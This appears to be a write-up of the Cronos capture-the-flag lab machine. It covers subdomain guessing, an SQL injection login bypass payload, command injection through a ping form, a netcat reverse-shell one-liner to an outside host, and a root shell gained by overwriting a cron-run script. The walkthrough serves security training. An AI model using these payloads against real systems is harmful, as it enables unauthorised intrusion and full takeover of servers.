This box is one of my favourite machines to hack and my fastest own on a medium box. It’s one of the OSCP-like machines and it deals with numerous exploitation techniques which I find are very useful and occur in a lot of scenarios. Let’s dive in to what you’ll learn from this walkthrough:
- Finding subdomains via /etc/hosts
- SQL injection to bypass a login panel
- RCE from a common attack vector
- Cron job exploitation to get root status
Let’s begin with our usual nmap scan and see what we’re dealing with.
Nothing out of the ordinary here, quite standard attack surfaces. We can leave SSH out the picture and go for the port 80 scans before moving on with port 53 DNS.
Taking a look at port 80 reveals a default Apache page ( bad and lazy security practice!).
Our nikto scan reveals nothing to us & nor does our dirbuster attack, so let’s move forth with the DNS to see if we can uncover subdomains. First what I like to do is nano /etc/hosts, and add this:
You can see how many times I’ve had to do this on previous boxes to find valid domains/subdomains!
If we check out the cronos.htb on our firefox, we get presented with a new page with pretty much nothing interesting.
If we do, however, navigate to admin.cronos.htb, we see an entire different interface.
<admin.cronos.htb was simply a logical guess and something I always try out to find login panels. This could have been uncovered from dig or any other subdomain finder but this was my first go-to method>
Great! a proper attack surface we can work with.
I began targeting these parameters with basic SQL injection methods and nothing seemed to work. I went to the ol’ reliable github repo called PayloadAllTheThings, picked a random SQL authentication bypass payload, added them to both username and password fields and got in!
Brilliant and super easy. Payload was as follows:
admin’ or ‘1’=’1'# <add this to both fields and you’re logged in>
Once logged in you’ll see this interface next.
As soon as I saw this and realised we could change traceroute to ping function — I knew exactly what was required due to previous encounters and I found the RCE really easy.
Reverse Shell as www-data
You can experiment with the ping function by setting a tcpdump on your machine, entering your IP above and hitting execute to see confirm this actually works. Let’s dive straight into the RCE payload and get this reverse shell:
www-data shell is returned!
To explain how we got this, let’s go through it below.
This is a classic yet effective technique I have seen many times and it always works like a charm. It’s the ; (semi-colon) command which actually tells the program :
“Execute ping to 10.10.16.61; <end this statement with ;> and continue with the next logical statement”
which in my case was reverse shell code i.e.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
<I had to mess with all the netcat and bash shells until one worked. They were all hanging and closing>
Let’s get the user flag and escalate to root finally
Escalating to Root
The reason why I loved this box was because of the many things that were involved.
As www-data, we can find credentials to the actual login page which we bypassed with SQLi, we can also find mysql credentials and login, see the users table with another password which didn’t lead anywhere but it was cool that we could find those with extra enumeration!
Reading the crontab file, we see something is being run as root.
php /var/www/laravel/artisan schedule:run
Let’s further investigate.
There are multiple methods of getting root on this box. Unfortunately, one is a kernel exploit which is never the intended way, another is modifying an existing php script to retrieve root.txt in a local directory, and finally which is the method I chose — was getting a reverse shell. Let’s discuss my route to root!
Upon looking at permissions which is what I always look for at first glance, the file being run as root under the crontab is ‘artisan’.
We, for some reason, own this file (bad sysadmin practice) and since we own it, we can do whatever we like with it. I created a backup of the real artisan file called artisan.back in case any issues happened further on. I then went to:
- /tmp as www-data,
- downloaded a php-reverse-shell.php, <taken from pentestmonkey>
- mv php-reverse-shell.php /var/www/laravel/artisan (our shell is now named artisan and placed exactly where the root cron calls it from)
- I set a nc -lvnp, waited a minute or two and got the root shell!